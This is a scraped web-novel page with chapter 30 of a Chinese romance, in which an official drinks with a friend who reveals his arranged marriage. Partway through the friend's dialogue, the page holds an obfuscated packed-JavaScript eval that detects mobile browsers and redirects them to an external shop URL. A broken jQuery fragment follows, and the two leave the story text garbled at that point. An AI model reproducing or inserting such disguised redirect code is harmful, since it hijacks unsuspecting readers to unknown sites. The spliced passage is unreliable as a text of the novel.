文趣网 > 其他小说 > 公子通房跑路记 > 30. 第30章 相思相望
    这夜,晏行止倒难得睡了个好觉。大抵是提前下值,心头也没萦着那么多事务,精神清爽,还做了个清浅的梦。

    梦里,有红梅树树,片片落到细雪中,融出雪水的潺湲声。

    醒来时,天光微亮,暖室窗边的梅花盆栽枝上,竟已经开出一朵。

    大抵是被暖气烘得。

    晏行止掀了被子起来,照常洗漱,去翰林院。

    诗烟这一走,她原先负责的事自然得重新分配。飞烟的想法是让霍香接替一部分,毕竟霍香原本就和诗烟一样是二等的丫鬟,攸宁居里现在也没其他人。

    而霍香不管书房外的事,也是公子亲自发过话的,所以飞烟便趁机和晏行止提了一嘴,让霍香做一些上房的事。

    晏行止浸在水中的手顿了顿,随即拿出来,接过飞烟递来的绢子擦了指间的水珠,道:“你安排就行。”

    不知道该不该说得益于那一闹,他和霍香表面的关系已经摊到明面上,人尽皆知,再避嫌已是多此一举,晏行止也彻底不以为意了,毕竟也不能净让飞烟忙上忙下。

    不带任何偏见地评价,霍香是个勤谨的,也很有眼力见,就是有时会用到不该用的地方,便显得有些笨拙。飞烟交代她一炷香换杯茶,她就真的等一炷香。当初在严府给他倒酒也是,他杯子一空就凑过来蓄满。晏行止当时其实怀疑过她是同谋,负责灌醉他。

    但总体而言,她是个很会看脸色的人,晓得什么能做不能做,还算省心。

    也不需要过多交代交流。

    就是还有个坏习惯,干着干着喜欢撸袖子。

    看到他,又会想起来,先假兮兮地笑一下,然后暗暗把袖子扯下来,紧着就告退。

    再过几日,各级衙署封存官印,一应官员也休沐年假,不过留几个人在衙门当值,以防万一。

    晏行止也彻底悠闲在家,常被陆氏叫到跟前,旁边还有唐滢心作陪。一杯茶,一碟饼,一坐就是小半天。

    晏行止只觉无趣,便时常出去找邓游尘。

    城东的阳春楼是他们常去的地方,自酿的飞白饮名声在外。

    邓游尘捡着下摆上了楼上雅间,便见晏行止当窗而坐,捏着细颈的白玉春瓶,倾出一注澄澈的酒液,汩汩落到小巧玲珑的杯中,又放回温碗里。

    冬季干冷,窗户都封得严严实实,光从窗棂上糊的白纸透过,打在青年脸上,白蒙茫茫的。

    晏行止闻声转头,便对上了邓游尘的视线。

    “你知道我要说什么。”邓游尘一脸严肃开口。

    晏行止眼神一飘,就挪开了视线,又取出个鸡心杯来,倒满了,“没画。没心情。”

    不晓得是不是因为霍香的事,陆氏似乎有变本加厉的势态。他现在一在家就要被拉去座谈,连墨都懒得磨。

    邓游尘冷笑了一声,“你倒有心情叫我出来陪你喝酒?我还以为你今天是给我交画的呢。你就在这儿给我画!画不完不许走!”

    邓游尘一边恶狠狠说着,一边掸了掸衣服下摆坐下,端起酒杯,饮了一大口。

    罢了又重重放回案上,好整以暇问:“说说吧,怎么了?上回让你喝还不情不愿的,今天主动约我。”

    “没怎么,”晏行止淡淡道,“就是无聊。”

    邓游尘轻笑,双手交叉在胸前,身体往后仰了仰,“让我猜猜。现在年休,你又正是春风得意之时,肯定不是官场上的事……是因为你那唐表妹?”

    晏行止微惊,“你怎么晓得?”

    邓游尘道:“前儿我和栖云出门遇到了,她和你小妹静晗一起在街上。那可是个大美人呢,你还有什么不喜欢?”

    最后一句不论语气还是神态都有点戏谑,但邓游尘夸人就是真夸人,而且更多也是揶揄晏行止。

    晏行止撇开了头,又提起酒瓶给两人斟满了酒。

    这是避而不答。

    邓游尘和晏行止同窗数年,并称双璧,有时候也有些看不懂晏行止。晏行止为人,恭敬持重,戒绝声色玩好,当年喝酒还是他撺掇的。除此以外的一切,好像没什么厌恶,也没什么喜欢——这点和他一样,却不知为何迟迟不愿决定终生大事。

    邓游尘奇怪问:“你又不是霍去病,要大灭匈奴。娶妻也不妨碍你建功立业呀。听说还快升官了?”

    “八字没一撇的事。”晏行止道。

    “得了吧,”邓游尘不以为然道,“扬州盐案这么大功劳,严学兴判处斩刑,扬州一干官员也落下马来,我估摸着开春,你那身衣服就该换了。年纪轻轻,大有作为,真是令人艳羡。”

    “你才令人艳羡吧,”晏行止道,“放浪形骸之外,万事不萦于心。”

    “你知道,我出不了士,”邓游尘道,又紧接着补充,“当然我也不想。”

    邓游尘的姑母为圣朝太后,邓游尘作为外戚,可以挂个千户的虚职,却不能参与政事。

    晏行止和他碰了一杯,道:“如今皇上和太后的关系日益紧张,你这样,未尝不是好事。”

    “我知道,”邓游尘很是不以为意道,“我也不想掺和这些弯弯绕绕的东西。倒是你,可得抓紧时间了,不然以后被提亲的人踏破门槛,又或被皇帝逮住,可没那么轻松了。”

    晏行止轻嗤,“你老念我的事做什么?你也没娶妻啊

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506835|202227||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ……”

    “快了。”

    晏行止反应了一下,“什么?”

    “我家给我定了桩婚事,你到时候记得来喝喜酒,”邓游尘见缝插针催道,“带上你的画。”

    晏行止直觉山中无甲子,寒尽不知年。自己只是去了一趟扬州,一回来一向风流潇洒的好友亲都定了,忍不住好奇问:“谁?”

    “小门小户的女儿,我也不认识,”邓游尘云淡风轻道,“左右不过是父母之命,媒妁之言。”

    父母之命。

    晏行止听到,惊疑的眉头渐渐舒开,若有所思。

    邓游尘又饮了一杯,看到屋外有琵琶女在挨桌问可愿听曲,却始终没有开张,便喊了一声:“进来唱一曲吧,大冷天的也不容易。”

    琵琶女当即小跑过来,喜笑颜开问:“爷想听什么?”

    邓游尘一奇,“听口音,是南方人?”

    琵琶女点头,“回爷的话,奴是扬州人。”

    晏行止轻怔,也转头细看了一眼。

    这么说来,霍香的口音却不甚重。

    “江南水乡,”邓游尘如是评价,“唱点文雅的,也别太俗了。”

    琵琶女点头道是,款款坐下,双手放到琵琶弦上,腕子上的银镯子滑落下来,薄唇轻启,便唱了起来:

    “迢迢天牛星,皎皎河汉女。

    纤纤擢素手,札札弄机杼。

    终日不成章,泣涕零如雨。

    河汉清且浅,相去复几许。

    盈盈一水间,脉脉不得语。

    盈盈一水间,脉脉不得语——”

    最后一句,重章叠唱,尤其缠绵悱恻。

    邓游尘端起酒杯冲琵琶女虚虚点了两下,笑道:“你这曲子好是好,就是太伤感了。相思相望不相亲。”

    琵琶女赶忙道:“那奴给爷换一首。”

    “不必了,”邓游尘从袖中掏出一粒银子就扔了出去,“去吧。”

    “多谢爷。”琵琶女连声道,又鞠了几个躬,方才离开。

    一直到日暮时分,晏行止才和邓游尘分开,各归各处。

    路上,晏行止突然想起邓游尘那句问话:他有什么不喜欢?

    他又有什么喜欢?

    一直将到攸宁居,晏行止也没思考出个答案,遥遥却见晏修齐的背影,似乎在和谁说话。

    待他再走近一点,便看见了男人身影里露出来的少女。

    距离太远,也看不太清具体五官,显得一张脸更素了,像江南烟雨天弥漫的雾。一对嘴角莞尔,就像雨水打下的涟漪,扩散开去。

    晏行止眼角弹了一下。